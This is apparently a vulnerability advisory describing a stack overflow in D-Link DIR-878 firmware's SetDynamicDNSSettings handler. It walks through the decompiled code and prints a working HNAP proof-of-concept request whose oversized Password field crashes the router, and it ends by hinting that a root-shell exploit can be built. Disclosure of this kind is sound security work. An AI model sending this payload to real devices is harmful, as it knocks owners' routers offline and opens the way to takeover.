# D-Link DIR-878 was discovered stack overflow in the SetDynamicDNSSettings module ###### tags: `D-Link` `DIR-878` vendor:D-Link product:DIR-878 version:DIR_878_FW1.30B08.bin type:Stack Overflow author:Yifeng Li, Wolin Zhuang; ## Vulnerability Description D-Link DIR-878 DIR_878_FW1.30B08.bin was discovered to contain a stack overflow via the Password parameter in the SetDynamicDNSSettings module. ## Vulnerability Details In module SetDynamicDNSSettings,the content obtained by the programe through /SetDynamicDNSSettings/Password is passed to v3, which is controllable for attacker and copied to variable v9 which is passed into fuction decrypt_aes as a parameter. ![](https://i.imgur.com/kowuK7U.png) After that, it is passed into function sub_426D74 as the first parameter as a2.Besides, we notice that local variable v6 is placed on the stack, which is also passed into function sub_426D74 as the second parameter. ![](https://i.imgur.com/DDR99OK.png) In function sub_426D74, the for loop from line 26 to line 32, first copy a1 to v7 then strtol transfer v7 to a2, which briefly, a2 equals hexdecode(a1).Let's start over again, a1, comes from a2 in function decrypt_aes, a variable is controllable to the attacker.And a2 comes from v6 in function decrypt_aes which is placed on the stack, so when we copy a1 to a2 in sub_426D74, we are basically putting v4's value into v6, which leads to a stack overflow vulnerbility . ![](https://i.imgur.com/dTeLfRi.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Install firmware DIR_878_FW1.30B08.bin to router DIR878 2. Login to as admin 3. Attack with the following POC ![](https://i.imgur.com/kVadrKk.png) ``` POST /HNAP1/ HTTP/1.1 Host: Content-Length: 783 Accept: text/xml HNAP_AUTH: 76938F6050F5B10E033565E930DCAE69 1675665318518 SOAPACTION: "http://purenetworks.com/HNAP1/SetDynamicDNSSettings" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Content-Type: text/xml Origin: Referer: Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: uid=gL5VUQQK Connection: close <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <SetDynamicDNSSettings xmlns="http://purenetworks.com/HNAP1/"> <Enabled>true</Enabled> <ServerAddress>dlinkddns.com</ServerAddress> <Hostname>admin</Hostname> <Username>admin</Username> <Password>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</Password> <Timeout>24</Timeout> </SetDynamicDNSSettings> </soap:Body> </soap:Envelope> ``` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. ![](https://i.imgur.com/hvrariJ.png) ![](https://i.imgur.com/GZ367BU.png) And you can write your own exp to get the root shell.